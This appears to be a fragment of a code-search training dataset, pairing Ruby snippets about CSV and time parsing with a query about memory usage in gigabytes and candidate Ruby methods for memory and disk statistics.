"def parse_time(row)\n raw_time = row[1]\n if raw_time\n time = \"#{raw_time[0..4]}#{raw_time[-2..-1].downcase!}\"\n\n # remove leading 0\n time = time[1..-1] if time[0] === '0'\n time\n else\n nil\n end\nend",
"def activity_log_student_time_categories_array\n activity_log_student_time_categories.try(:split, \"\\n\").try(:collect, &:strip).to_a\n end",
"def to_a\n res = []\n each_row do |ts, val|\n res << [ts, val]\n end\n res\n end",
"def convert_log_file_time(string)\n\tarray=Array.new(2)\t\n\tarray=string.gsub(/:/,\".\").split(\"/\")\n\t#if (array[1]!=nil or array[1]==\"\") then array[1]=string.split(\"/\")[1].gsub(/:/,\".\") end\n\treturn array\nend",
"def q1_read_to_array(data_file_name)\r\n array2d = []\r\n \r\n read_file(\"data/\"+data_file_name).each{ |line|\r\n array1d = line.split(\",\").map(&:strip).map(&:to_s)\r\n array2d << array1d\r\n }\r\n return array2d\r\nend",
"def saveCSVFileContentsToDB (file)\n text = File.read(file).gsub(/\\\\\"/,'\"\"')\n arr = []\n CSV.parse(text, headers: true) do |row|\n rowHash = row.to_hash\n rowHash['log_timestamp'] = Time.at(rowHash['timestamp'].to_i)\n rowHash.delete('timestamp')\n puts(rowHash)\n arr << rowHash\n end\n\n Log.create(arr)\n end",
"def loadCSVFile(filePath)\n data = []\n CSV.foreach(filePath, :headers => true) do |row|\n row = row.to_h\n row.each do |k, v|\n v = v.to_s\n row[k] = v\n end\n data << row\n end\n data\n end",
"def prep_hash_for_csv(data_hash)\n\tbig_array = []\n\tdata_hash.each do |key, ads|\n\t\tad_array = [].push(key)\n\t\tads.each do |ad|\n\t\t\tad_string = ad[0] + \"\\r\" + ad[1] + \"\\r\" + ad[2]\n\t\t\tad_array.push(ad_string)\n\t\tend\n\t\tbig_array.push(ad_array)\n\tend\n\toutput_array = big_array.safe_transpose\n\treturn output_array\nend",
"def recordize line\n line.split(\"\\t\")\n end",
"def parse_to_array(line_as_string)\n as_array = line_as_string.split(\" \")\nend",
"def import_csv_full\n \n end",
"def getCurrentTimeInCsvRow(row)\n timestr = row[@index_current_time] ;\n time = @timeNameTable[timestr] ;\n if(time.nil?) then\n time = parseTime(timestr) ;\n @timeNameTable[timestr] = time ;\n end\n return time ;\n end",
"def read_time_table(fname)\n ents=[]\n File.open(fname,'r') do |f|\n f.each_line do |line|\n line.chomp!\n a1,a2,a3,a4,a5 = line.split(/\\s*==\\s*/)\n hash={}\n hash[\"1\"] = a1 # id\n hash[\"2\"] = a2 # start time\n hash[\"3\"] = a3 # end time\n hash[\"4\"] = a4 # person\n hash[\"5\"] = a5 # title\n ents.push(hash)\n end\n end\n ents\nend",
"def get\n arr = []\n\n process(csv_file).each do |record|\n arr << SOA_CSV_RECORD.new(*record.fields)\n end\n\n arr\n end",
"def rows\n csv.rows.map { |row_array|\n Row.new(header: header, row_array: row_array).to_a\n }\n end",
"def import_csv_smart\n \n end",
"def as_array(key)\n out = self[key]\n\n if out.blank?\n out = nil\n else\n out = out.split(/(?<!\\\\),/).collect { |val| val.gsub(/\\\\,/, ',').strip }\n end\n\n out\n end",
"def process_line(line_text)\n date_string,symbol = line_text.split(',')\n month,day,year = date_string.split('/')\n [Date.new(year.to_i, month.to_i, day.to_i), symbol.strip]\n end",
"def readCSV(filename)\n resultArray = Array.new\n\n # read csv file\n File.open(filename) { |file|\n while line = file.gets\n row = CSV.parse_line( Kconv::kconv(line, Kconv::UTF8, Kconv::SJIS) )\n resultArray.push( row )\n end\n }\n\n return resultArray\nend",
"def add_to_csv(arr)\n\t\t\t\t\t\tCSV.open(\"location-emails.csv\", \"a+\") do |csv|\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcsv << arr\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tend\nend",
"def separate_data_by_time(data, separator)\n times = data.map {|v| Time.parse(v[0]).strftime(\"%H:%M\")}\n index = times.index(Time.parse(separator).strftime(\"%H:%M\"))\n raise \"Error separating time\" if (index.nil?)\n \n ranged_data = data[0..index-1]\n values = data[index..-1] \n return ranged_data, values\n end",
"def to_array\n\n [\n @seconds,\n @minutes,\n @hours,\n @days,\n @months,\n @weekdays,\n @monthdays,\n @timezone ? @timezone.name : nil\n ]\n end",
"def csv(key)\n @data[key].gsub(\",\", \" \")\n end",
"def get_time(row, col)\n ensure_not_empty(row, col)\n m = row[col].match(%r[^(\\d{1,2}):(\\d\\d)$])\n raise \"bad #{col} value \\\"#{row[col]}\\\": #{row}\" unless m && m.length-1 == 2\n m.captures.map {|s| s.to_i}\nend",
"def savedata(array)\n CSV.open('scraper.csv', 'a') do |csv|\n csv << array\n end\nend",
"def field_to_array(field)\n final = []\n field.each do |value|\n final << value.to_s\n end\n final\n end",
"def datat_read\n \n #Read in the csv file\n @@datat_array = CSV.read(@@datat_path_specific)\n \n #Delete the row which contains the database title.\n @@datat_array.delete_at(0)\n \n ######################################\n #puts @@datat_array[2]\n #Verify the conversion has taken place\n #puts @database + \" CSV file converted\"\n ######################################\n \n end",
"def parse\r\n\t\tCSV.foreach(self.filepath) {|row| @list << row}\r\n\t\t@list.flatten!\r\n\tend",
"def read_file(file)\n\tx = Array.new\n\ty = Array.new\n\tCSV.foreach(file, converters: :numeric, :headers => true) do |row|\n\t\tx << row['time']\n\t\ty << row['datapoint']\n\tend\n\n\treturn x, y\nend",
"def csv_parsed\n transform_to_hash(@csv_array, @header)\n end",
"def preprocess_csv\n concatenate_arrays(replace_blanks(parsed_csv))\n end",
"def parse_csv(file_path)\n record_list = []\n header = []\n is_header = true\n \n CSV.foreach(file_path) do |row|\n if (is_header)\n\theader = row\n\tis_header = false\n else\n\trecord = Record.new\n\trecord.create(header, row)\n\trecord_list.push(record)\n end\n end\n return record_list\n end",
"def activity_log_non_student_time_categories_array\n activity_log_non_student_time_categories.try(:split, \"\\n\").try(:collect, &:strip).to_a\n end",
"def read_csv_numeric_dataset(file)\r\n dataset = []\r\n File.readlines(file).each do |line|\r\n if !(line.empty?) \r\n vector = []\r\n fields = line.split(\",\")\r\n response = fields.pop\r\n fields.each do |value|\r\n vector.push(value.to_f)\r\n end\r\n vector.push(response.strip)\r\n dataset.push(vector)\r\n end\r\n end\r\n return dataset\r\nend",
"def parse_csv(file)\n\t\tdata = []\n\t\t# Break open CSV and go through rows\n\t\tbegin\n\t\t\tdata = CSV.read(file, :headers => true,:skip_blanks => true,:header_converters => :symbol, :encoding => 'UTF-8')\n\t\trescue\n\t\t\t# Convert to UTF-8 if necessary\n\t\t\tdata = CSV.read(file, :headers => true,:skip_blanks => true,:header_converters => :symbol, :encoding => 'Windows-1252:UTF-8')\n\t\tend\n\t\tdata\n\tend",
"def split_time(line,time_part,delimiter)\n\tif time_part == \"start\"\n\t part=line.split(\" --> \").first\n\telse \n\t part=line.split(\" --> \").last\n\tend\n\ttime=part.split(\",\").first\n\tss=time.split(\":\").last\n\tif dt = DateTime.parse(time) rescue false\n\t seconds = dt.hour*3600+dt.min*60+ss.to_i\n\tend\n\tseconds.to_s\n\tend",
"def to_csv(path = nil)\n path = File.basename(@data.path, '.adt') + '.csv' if path.nil?\n FCSV.open(path, 'w', :force_quotes => true) do |csv|\n each do |record|\n csv << record.to_a\n end\n end\n end",
"def parse_srt_times(times)\n times =~ /^([0-9:,]+) --> ([0-9:,]+)/ # May have trailing data.\n [$1, $2].map {|t| parse_srt_time(t) }\n end",
"def csv(rows)\n rows.map { |r| r.join(';') }.join(\"\\n\")\n end",
"def time_array(user_string)\n user_string.scan(/\\d+(?=:)|(?<=:)\\d+/).flatten.compact.map!(&:to_i)\n end",
"def parse_csv_line_ruby(line, options, header_size = nil)\n return [] if line.nil?\n\n line_size = line.size\n col_sep = options[:col_sep]\n col_sep_size = col_sep.size\n quote = options[:quote_char]\n quote_count = 0\n elements = []\n start = 0\n i = 0\n\n previous_char = ''\n while i < line_size\n if line[i...i+col_sep_size] == col_sep && quote_count.even?\n break if !header_size.nil? && elements.size >= header_size\n\n elements << cleanup_quotes(line[start...i], quote)\n previous_char = line[i]\n i += col_sep.size\n start = i\n else\n quote_count += 1 if line[i] == quote && previous_char != '\\\\'\n previous_char = line[i]\n i += 1\n end\n end\n elements << cleanup_quotes(line[start..-1], quote) if header_size.nil? || elements.size < header_size\n [elements, elements.size]\n end",
"def parse_csv\n i=0\n output_matrix = []\n trim_return_carriage(fulltext).each_line do |line|\n 5.times { |i| avoid_commas_in_special_strings(line) }\n output_matrix << trim_line_ends(line).split(delimiter) unless i == 0\n i+=1\n end\n output_matrix.each do |rec|\n temp_hsh = {}\n (0..rec.size-1).each do |i|\n temp_hsh.merge! object_attributes[i] => rec[i]\n end\n @output_table_object << temp_hsh\n end\n\n output_table_object\n end",
"def to_array\n return [@filename,\n @timestamp,\n @source,\n @rmr_number,\n @series_description,\n @gender,\n @slice_thickness,\n @slice_spacing,\n @reconstruction_diameter, \n @acquisition_matrix_x,\n @acquisition_matrix_y]\n end",
"def escribir_promedios(array)\n #por cada alumno\n array.each do |alumno|\n #split en cada ,\n al = alumno.split(', ').map(&:chomp)\n #generar el nombre del archivo del alumno\n filename = \"#{al[0]}.csv\"\n #generar el archivo\n alumno_file = File.open(filename, \"w\")\n #obtener el promedio final del alumno\n final = promedio_alumno(al)\n #escribir el promedio final en el archivo\n alumno_file.puts final\n #cerrar\n alumno_file.close\n end \nend",
"def recordize line\n line.split(\"\\t\") rescue nil\n end",
"def convert_csv(original_csv)\n csv_options = {}\n csv_options[:col_sep] = option(:csv_col_sep) unless option(:csv_col_sep).blank?\n csv_options[:row_sep] = option(:csv_row_sep) unless option(:csv_row_sep).blank?\n csv_options[:quote_char] = option(:csv_quote_char) unless option(:csv_quote_char).blank?\n value_converter = option(:csv_value_proc)\n\n converted_csv = \"#{original_csv}.converting\"\n CSV.open(converted_csv, 'wb', csv_options) do |csv|\n CSV.foreach(original_csv) do |row|\n row = row.map{ |value| value.blank? ? '' : value_converter.call(value) } if value_converter\n csv << row\n end\n end\n FileUtils.remove(original_csv)\n FileUtils.move(converted_csv, original_csv)\n end",
"def parse\n timeslots = []\n last_time = 0\n index = -1\n CSV.foreach(\"output_FINAL.csv\", :encoding => 'windows-1251:utf-8') do |row| \n unless last_time == row[3]\n index += 1\n end\n\n unless timeslots[index] # create new hash\n timeslots[index] = {day: row[2], time: row[3], classes: []}\n end\n\n row[4..row.length-1].each do |c|\n if c\n unless timeslots[index][:classes].include?(c)\n timeslots[index][:classes] << c\n end\n end\n end\n\n \n last_time = row[3]\n end\n\n p timeslots\n\n CSV.open(\"final_final_output.csv\", \"wb\") do |csv|\n timeslots.each do |timeslot|\n csv << [timeslot[:day], timeslot[:time]] + timeslot[:classes]\n end\n end\n\n CSV.open(\"stats.csv\", \"wb\") do |csv|\n timeslots.each do |timeslot|\n csv << [timeslot[:day], timeslot[:time], timeslot[:classes].length]\n end\n end\nend",
"def parse_csv(csv_string)\n csv_data = FasterCSV.parse(csv_string)\n header = csv_data.shift\n [csv_data.map{|row| Hash[*header.zip(row).flatten] }, header]\n end",
"def get_datetimes(row)\n mm, dd, yyyy = get_date(row, \"Date\")\n start_hh, start_mm = get_time(row, \"Start Time\")\n end_hh, end_mm = get_time(row, \"End Time\")\n [Time.local(yyyy, mm, dd, start_hh, start_mm), Time.local(yyyy, mm, dd, end_hh, end_mm)]\nend",
"def create_item_rows_from_csv \n item_rows = []\n CSV.foreach('./data/items.csv', headers: true, header_converters: :symbol) do |row|\n item_rows << row\n end \n return item_rows\n end",
"def loadCSV\n csvFile = File.open(\"app/assets/csv/test.csv\", \"r\") #Open file with readpermissions\n if csvFile #if file was successfully opened \n csvRowArray = IO.readlines(csvFile) # Turn each row into an array element\n rowId=1 #0 is the Header Row, 1 is the first dataset.\n recordsArray = Array.new(csvRowArray.size-1)\n while csvRowArray[rowId] do #for each row that exists \n rowEntry = csvRowArray[rowId]\n rowEntry.gsub!(/\"/,'') # Remove all the '\"'s\n wordArr = rowEntry.split(\",\") #Split the array on ','s into a new array \n newRecord = Record.new\n newRecord.REF_DATE = wordArr[0]\n newRecord.GEO = wordArr[1]\n newRecord.DGUID = wordArr[2]\n newRecord.Sex = wordArr[3]\n newRecord.Age_group = wordArr[4]\n newRecord.Student_response = wordArr[5]\n newRecord.UOM = wordArr[6]\n newRecord.UOM_ID = wordArr[7]\n newRecord.SCALAR_FACTOR = wordArr[8]\n newRecord.SCALAR_ID = wordArr[9]\n newRecord.VECTOR = wordArr[10]\n newRecord.COORDINATE = wordArr[11]\n newRecord.VALUE = wordArr[12]\n newRecord.STATUS = wordArr[13]\n newRecord.SYMBOL = wordArr[14]\n newRecord.TERMINATED = wordArr[15]\n newRecord.DECIMALS = wordArr[16]\n newRecord.save\n puts rowId\n rowId = rowId+1 \n end\n return recordsArray\n else #file not opened\n puts \"Unable to open file\" \n return \n end \n end",
"def load_timestamp(fname)\n stamps = []\n File.open(fname).read().each_line do |line|\n parsed = line.strip().split() \n stamps << [parsed[2].to_f, parsed[3].to_f, parsed[4].to_f, parsed[5].to_f, parsed[6].to_f]\n end\n return stamps\nend",
"def read_csv_data file\n rows = []\n readerIn = CSV.open(file, 'r')\n row = readerIn.shift\n while row!= nil && !row.empty?\n rows << row\n row = readerIn.shift\n end\n readerIn.close\n \n return rows\nend",
"def csv_from_row(op, row)\n res = \"\"\n until row.empty?\n entry = row.shift.to_s\n if /[,\"]/ =~ entry\n entry = entry.gsub(/\"/, '\"\"')\n res << '\"' << entry << '\"'\n else\n res << entry\n end\n res << \",\" unless row.empty?\n end\n op << res << CRLF\nend",
"def csv(array)\n nilfix = array.map { |s| blank(s) ? \"\" : s }\n quoted = nilfix.map { |s| '\"' + s.gsub('\"',\"'\") + '\"' }\n return quoted.join(',')\nend",
"def format_data(csv_row)\n\t\tklass = @import_type.classify.constantize\n\t\tklass_object = klass.new({original_row: csv_row})\n\t\tformatted_data = klass_object.get_data\n\t\tformatted_data\n\tend",
"def print_as_csv\n file_data = []\n file_data << headers\n @case_data_by_date_map.each do |_, elements|\n file_data += elements.shuffle\n end\n\n file_data.each do |element|\n puts element.join(',')\n end\n end",
"def timestamp(row)\n row[0].to_f\nend",
"def array_to_csvstring(ar)\n word_string = String.new\nar.each{|k,v| word_string << \"#{k}=#{v}_\"}\nreturn word_string[0...-1]\nend",
"def array_to_csvstring(ar)\n word_string = String.new\nar.each{|k,v| word_string << \"#{k}=#{v}_\"}\nreturn word_string[0...-1]\nend",
"def get_arrays(line)\n pairs = line.chomp.split(',')\n arrys = pairs.map do |range|\n indeces = range.split('-').map(&:to_i)\n (indeces.first..indeces.last).to_a\n end\nend",
"def array_from_rows(str)\n str.split(\"\\n\").map { |x| x.split(' ').map { |y| y.to_i } }\n end",
"def update_csv\n CSV.open(@csv_location, \"w\") do |line|\n @recipearray.each do |x|\n line << [x.name, x.description, x.duration, x.tried]\n end\n end\n end",
"def transformTime(time)\n temp1 = time[0..1]\n temp2 = time[2..3]\n temp3 = time[4..5]\n time = temp1+\":\"+temp2+\":\"+temp3\n \n end",
"def notes_to_char_string_csv\n notes_to_char_string_array.join(',')\n end",
"def csv_to_array(file)\n @recipes = []\n CSV.foreach(file){|row| @recipes << Recipe.new(row[0], row[1].to_i, row[2].to_i, row[3].to_i)}\n end",
"def parse(line)\n @io.rewind\n @io.truncate(0)\n @io << line\n @io.rewind\n @csv.shift\n end",
"def parse(data)\n docs = []\n rows = CSV::parse(data)\n if rows.length > 4\n # TODO/FIXME: get Tor Ivan to make a proper csv header\n header = rows[1]\n\n rows[4, rows.length].each do |row|\n doc = Hash[header.zip(row)]\n\n doc.each do |key, val|\n\n # try for int, if that fails, go for float, else string\n begin\n doc[key] = Integer(val)\n rescue ArgumentError\n begin\n doc[key] = Float(val)\n rescue ArgumentError\n end\n end\n\n end\n\n # make the timestamp ours\n toks = doc.delete(\"TIMESTAMP\").split()\n doc[\"measured\"] = toks[0]+\"T\"+toks[1]+\"Z\"\n\n # generate the sha256 digest based on the measurement time and use it as\n # a namespaced UUID seed to prevent duplicate data from entering the database.\n seed = Digest::SHA256.hexdigest doc[\"measured\"]\n doc[\"id\"] = seed[0,8] + \"-\" + seed[8,4] + \"-\" + seed[12,4] + \"-\" + seed[16,4] + \"-\" + seed[20,12]\n\n # point to our schema\n doc[\"schema\"] = \"http://api.npolar.no/schema/weather-bouvet-1.0-rc1\"\n docs << doc\n end\n end\n\n docs\n end",
"def parse\n csv_emails.split(/,?\\s/).uniq\n end",
"def parse_trend_tweets_place (tweets_place)\n @todays_date = get_date\n @tweets = tweets_place\n @trend_rows = Array.new\n @trend_rows_string = Array.new\n @trends = @tweets[0]['trends']\n @as_of = @tweets[0]['as_of']\n @as_of = @as_of.chomp(\"Z\") \n #@as_of = @as_of.gsub(/:/, '-')\n @location = @tweets[0][\"locations\"]\n #@location_name = @location[0][\"name\"]\n @location_woeid = @location[0][\"woeid\"]\n ###dump each record into a csv row\n @trends.each do |trend|\n @tweet_row = Array.new\n @tweet_row << @location_woeid.to_s\n @todays_date = get_date\n @tweet_row << @todays_date.to_s\n @tweet_row << \"1\"\n @tweet_row << @as_of.to_s\n #@tweet_row << @location_name\n @name = trend[\"name\"]\n @url = trend[\"url\"]\n @tweet_row << @name\n @tweet_row << @url\n @trend_rows << @tweet_row\n @stringrow = @tweet_row.join(\"|\")\n @trend_rows_string << @stringrow\n end\n return [ @trend_rows, @trend_rows_string ]\n end",
"def to_arr(value)\n if value.is_a?(Array)\n value\n else\n # Split by commas, but don't use commas inside double quotes\n # https://stackoverflow.com/questions/21105360/regex-find-comma-not-inside-quotes\n value.to_s.split(/(?!\\B\"[^\"]*),(?![^\"]*\"\\B)/)\n end\n end",
"def read_csv(filename,sep = \",\")\n\tarr = []\n\tFile.open(filename,\"r\"){|file|\n\t\tfile.each_line do |line|\n\t\t\tarr << line.chomp.split(sep)\n\t\tend\n\t}\n\treturn arr\nend",
"def rw_values(category, type, name, filename, outfile)\n first_line = true\n File.readlines(filename).each do |line|\n # Skip the first line, as it contains the header\n if first_line\n first_line = false\n next\n end\n \n # Split the line by commas\n fields = line.split(',')\n \n # Check that the csv is conformant to the format\n if fields.size < 9\n puts \"Malformed line: #{line}\"\n puts \"In file: #{filename}\"\n throw \"Expecting at least 9 fields in commercial building csv files\"\n end\n \n datetime = fields[0]\n energy = fields[1]\n \n # Parse the first column (datetime)\n month, day, hour = datetime.scan(/(\\d\\d)\\/(\\d\\d)\\s*(\\d\\d)/).first\n \n # In the original csv hours are 01-24, we convert it to 00-23\n hour = (hour.to_i - 1).to_s.rjust(2, '0')\n \n # We know the data is relative to 2004\n date = \"2004-#{month}-#{day}\"\n time = \"#{hour}:00\"\n \n # Write the extracted data to the output csv\n outfile.puts(\"#{category},#{type},#{name},#{date},#{time},#{energy}\")\n end\nend",
"def genCsvRowSpeed()\n row = configIndex() ;\n row.push(getAveSpeed()) ;\n return row ;\n end",
"def row_filter(row)\n row = row.strip.gsub(/\\s+/, \" \")\n item = row.split(\" - \")\n puts \"Start reading and convert #{item.first}\"\n item.last\n end",
"def parse_to_load_file(csv)\n csv.each_with_index do |student, index|\n student = {month: csv[index][0] , name: csv[index][1], city: csv[index][2], hobby: csv[index][3]}\n @students << student\n end\nend",
"def to_a\n [value, timestamp]\n end"
] | [
"0.7170756",
"0.67584664",
"0.6653008",
"0.6653008",
"0.6446374",
"0.62670535",
"0.62043846",
"0.619307",
"0.618639",
"0.61657447",
"0.60851187",
"0.60675925",
"0.59545547",
"0.5935562",
"0.58293605",
"0.5824333",
"0.57760686",
"0.5769054",
"0.5767165",
"0.57640857",
"0.57640857",
"0.5732532",
"0.5723521",
"0.57210016",
"0.5710071",
"0.56954163",
"0.5693315",
"0.5683665",
"0.56227314",
"0.56225044",
"0.55824393",
"0.5579587",
"0.557833",
"0.5575763",
"0.55456144",
"0.5536166",
"0.5504936",
"0.550467",
"0.549692",
"0.5489573",
"0.5487726",
"0.5472962",
"0.54728496",
"0.54334223",
"0.5423506",
"0.5412966",
"0.53780603",
"0.5368952",
"0.5350891",
"0.53487957",
"0.53482366",
"0.53427774",
"0.5341304",
"0.53243834",
"0.5312423",
"0.5295286",
"0.5294206",
"0.5281855",
"0.52806336",
"0.5274888",
"0.5269251",
"0.52649903",
"0.5263669",
"0.5261699",
"0.5258398",
"0.52466184",
"0.52450615",
"0.5244556",
"0.52429974",
"0.5239584",
"0.5238131",
"0.5225923",
"0.5206839",
"0.52005005",
"0.51828647",
"0.5181958",
"0.5175392",
"0.5174681",
"0.5174235",
"0.5170255",
"0.51634157",
"0.5159498",
"0.5154768",
"0.5154768",
"0.5146494",
"0.51427877",
"0.51293993",
"0.51206857",
"0.5120494",
"0.5119562",
"0.5113986",
"0.5108331",
"0.51081485",
"0.51077646",
"0.51067656",
"0.5106744",
"0.51055396",
"0.51055247",
"0.51029354",
"0.509833",
"0.509436"
] | 0.0 | -1 |
return the G of the memory_used | def memory_used_with_g
self.memory_memused.map { |i| i / 1000000000.0}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def memused\n @memtotal - @memfree\n end",
"def used_space\n size - free_space\n end",
"def get_system_used_memory_mb\n # (`free -ml | grep 'Mem:' | awk -F' ' '{ print $3 }'`.strip.to_i rescue 0).round(MEMORY_PRECISION)\n get_system_memory_info_mb[:used_memory]\n end",
"def used\n\t\t\t\treturn nil unless meminfo?\n\t\t\t\tmemory = IO.foreach('/proc/meminfo').first(3)\n\t\t\t\tmemory[0].split[1].to_i - memory[2].split[1].to_i\n\t\t\tend",
"def bytes_used\n bytes_total - bytes_free\n end",
"def get_system_used_swap_memory_mb\n # (`free -ml | grep 'Swap:' | awk -F' ' '{ print $3 }'`.strip.to_i rescue 0).round(MEMORY_PRECISION)\n get_system_memory_info_mb[:used_swap_memory]\n end",
"def total_free_space\n self.free_spaces.reduce(0, :+)\n end",
"def free_blocks\n free_space / BLOCK_SIZE\n end",
"def _get_allocated_size; GC.stat(:malloc_increase_bytes); end",
"def percent_used\n\t\t\t\treturn nil unless meminfo?\n\t\t\t\tmemory = IO.foreach('/proc/meminfo').first(3)\n\t\t\t\ttotal = memory[0].split[1].to_i\n\t\t\t\ttotal.-(memory[2].split[1].to_i).*(100).fdiv(total).round(2)\n\t\t\tend",
"def size_used\n info[\"size-used\"]\n end",
"def memsize\n end",
"def total_memory_usage\n process_memory_usage - @start_memory_usage\n end",
"def gtm_memory_usage_statistics\n super\n end",
"def disk_usage_mb \n return disk_usage \n end",
"def redis_memory_usage\n redis_info[\"used_memory_human\"]\n end",
"def size\n @real_time_memory.size + @user_memory.size\n end",
"def computeMemory()\n mem = `grep 'MemTotal' /proc/meminfo | sed -e 's/MemTotal://' -e 's/ kB//'`.to_i\n mem / 1024 / 4\n end",
"def used\n data.used\n end",
"def memory_total\n File.foreach('/proc/meminfo').each do |line|\n return line.split(' ')[1].to_i if line =~ /MemTotal:/\n end\n end",
"def newton_memory_used\n MSPhysics::Newton.get_memory_used\n end",
"def memory(_)\n query = @client.percent_query_free(\n 'node_memory_MemTotal',\n 'node_memory_MemAvailable'\n )\n prepare_metrics('memory', @client.query(query))\n end",
"def memory(in_gb=false)\n line = ssh_cmd 'cat /proc/meminfo | grep MemTotal'\n matches = line.match /(?<size>\\d+)\\s+(?<unit>kB|mB|gB|B)/\n size = matches[:size].to_i\n multipliers = {kB: 1024, mB: 1024**2, gB: 1024**3, B: 1}\n size *= multipliers[matches[:unit].to_sym]\n in_gb ? size / 1024**3 : size\n end",
"def memory_usage \n\t`ps -o rss= -p #{Process.pid}`.to_i # in kilobytes \nend",
"def worker_memory(total_memory, reserved_memory = 1572864, per_worker_ram = 1048576)\n (total_memory - reserved_memory) / per_worker_ram\n end",
"def get_memory_used(snmp = nil)\n snmp = snmp_manager unless snmp\n\n get_routing_engines(snmp) if @routing_engines.empty?\n res = gather_snmp_metrics_by_name(\"Memory/Used\", @routing_engines, ROUTING_ENGINE_MEM_USED, snmp)\n NewRelic::PlatformLogger.debug(\"Device: Got #{res.size}/#{@routing_engines.size} Memory used metrics\")\n return res\n end",
"def memory_usage\n return File.read('/proc/self/status').match(/VmRSS:\\s+(\\d+)/)[1].to_i * 1024\nend",
"def usage_by_ps\n memory = cmd(\"ps -o rsz #{process}\").split(\"\\n\")[1].to_f / 1.kilobyte\n return nil if memory <= 0\n\n memory\n end",
"def get_mem\n lines = `free -m`.split(\"\\n\")\n header = lines[0]\n w_cache = lines[1].split(/\\s+/)[2].to_i\n mem = lines[2].split(/\\s+/)[2].to_i\n [mem, w_cache]\n end",
"def get_current_memory_usage\n `ps -o rss= -p #{Process.pid}`.to_i\nend",
"def free_block_count\n dev_stat ? dev_stat.blocks_free / (Block.size / dev_stat.block_size) : 0\n end",
"def file_total_size_gb\n ((total_ram_mb.to_f * 2).to_f / 1024).ceil\n end",
"def space_available\n used = 0\n if recordings.any?\n used = recordings.map(&:full_size).reduce(:+) \n end\n\n total_space - used\n end",
"def free\n df = DiskFree.new(@dir.path)\n df.total - df.used\n end",
"def get_system_memory_info_mb\n key_name = redis_record.support_key(get_server_hostname, [get_server_hostname, \"memory\"].join(\"_\"))\n value = ActiveSupport::HashWithIndifferentAccess.new(redis_record.parsed_get key_name)\n return_value = if value == {}\n mem_info = (`free -ml`).split(\" \") rescue []\n used_memory = mem_info[8].strip.to_i rescue 0\n used_swap_memory = mem_info[27].strip.to_i rescue 0\n data = {used_memory: used_memory, used_swap_memory: used_swap_memory}\n redis_record.set(key_name, data.to_json, {ex: SYS_CALL_FREQ})\n data\n else\n value\n end\n\n return_value\n end",
"def gigabytes\n self * GIGABYTE\n end",
"def get_usage\n\t\t\t@storage.fetch(:usage).to_i\n\t\tend",
"def calc_total_gpus\n @total_gpus = 0\n #if @cluster_title.eql?(\"Ruby\")\n # # For the Ruby cluster, pbsnodes takes into account two debug nodes with two GPUs along with the other Ruby GPU nodes. The debug nodes will not be considered in the total GPUs and unallocated GPUs calculation, as they cannot be allocated as part of a regular job request with other GPU nodes. Here np = 20 is the number of processors for a GPU node rather than a debug node (np = 16) in a Ruby cluster.\n # @total_gpus = nodes_info.scan(/np = 20/).size\n # else\n # @total_gpus = nodes_info.lines(\"\\n\\n\").size\n #end\n end",
"def percent_used\n 100 - (100.0 * bytes_free.to_f / bytes_total.to_f)\n end",
"def calc_gpus_unallocated\n @gpus_unallocated = 0\n #if @cluster_title.eql?('Owens')\n # @gpus_unallocated = nodes_info.lines(\"\\n\\n\").select { |node|\n # !node.include?(\"dedicated_threads = 28\") && node.include?(\"Unallocated\") }.size\n # elsif @cluster_title.eql?('Pitzer')\n # @gpus_unallocated = nodes_info.lines(\"\\n\\n\").select { |node| !node.include?(\"dedicated_threads = 40\") }.to_s.scan(/gpu_state=Unallocated/).size\n # else @cluster_title.eql?('Ruby')\n # # See line 62. Excluding the two debug nodes from the calculation.\n # @gpus_unallocated = nodes_info.lines(\"\\n\\n\").select { |node| node.include?(\"Unallocated\") && !node.include?(\"dedicated_threads = 20\") && node.include?(\"np = 20\") }.size\n # @oodClustersAdapter.info_all_each { |job| p job}\n #end\n end",
"def total\n\t\t\t\treturn nil unless meminfo?\n\t\t\t\tIO.foreach('/proc/meminfo').first.split[1].to_i\n\t\t\tend",
"def memory_fraction(fraction = 4)\n os_memory / 1024 / fraction\n end",
"def total_bytes\n Integer @gapi.total_bytes_processed\n rescue\n nil\n end",
"def available_slots()\n return @size - @used_spaces\n end",
"def get_memory_usage\n `ps -o rss= -p #{Process.pid}`.to_i\nend",
"def get_memory_usage\n `ps -o rss= -p #{Process.pid}`.to_i\nend",
"def guest_memory\n begin\n host_memory / 2\n rescue\n 8192\n end\nend",
"def free_space\n @ole.FreeSpace\n end",
"def free_space\n page_header[:garbage_size] +\n (size - size_fil_trailer - directory_space - page_header[:heap_top])\n end",
"def required_space\n # Start with our cached default generated size\n space = cached_size\n\n # EXITFUNK 'thread' is the biggest by far, adds 29 bytes.\n space += 29\n\n # Reliability adds some bytes!\n space += 44\n\n space += uuid_required_size if include_send_uuid\n\n # The final estimated size\n space\n end",
"def used\n @used\n end",
"def memory_usage\n `ps -o rss= -p #{ $PID }`.to_i\n end",
"def swapused\n @swaptotal - @swapfree\n end",
"def total_bytes\n (wired + active + inactive + free) * pagesize\n end",
"def available_space\n quota - size\n end",
"def memory()\n\n instructions = 'free -h'\n\n puts ('instructions: ' + instructions.inspect).debug if @debug\n r = @ssh ? @ssh.exec!(instructions) : `#{instructions}`\n puts ('memory: ' + r.inspect).debug if @debug\n a = r.lines\n total, used, avail = a[1].split.values_at(1,2,-1) \n @results[:memory] = {total: total, used: used, available: avail}\n\n end",
"def memory_usage_information\n super\n end",
"def mem_usage\n ScoutApm::Instruments::Process::ProcessMemory.new(@agent_context).rss\n end",
"def host_memory\n case RbConfig::CONFIG['host_os']\n when /darwin/\n Integer(`sysctl -n hw.memsize`.to_i / 1024 / 1024)\n when /linux/\n Integer(`grep 'MemTotal' /proc/meminfo | sed -e 's/MemTotal://' -e 's/ kB//'`.to_i / 1024)\n else\n Integer(`wmic ComputerSystem get TotalPhysicalMemory`.split(\"\\n\")[2].to_i / 1024 / 1024)\n end\nend",
"def memory\n\t\treturn self.class.instance_variable_get(:@memory)\n\tend",
"def getdiskusage\n content = \"\"\n begin\n content = `df -k`\n rescue\n warn \"Failed to run df command\"\n return nil\n end\n used_space = 0\n avail_space = 0\n content.split(\"\\n\").each do |line|\n if line =~ /\\s+\\d+\\s+(\\d+)\\s+(\\d+)\\s+\\d+%\\s+\\/($|home$)/\n used_space += $1.to_i\n avail_space += $2.to_i\n end\n end\n return {:avail_space => avail_space, :used_space => used_space}\n end",
"def d_size\n @capacity / @blockSize\n end",
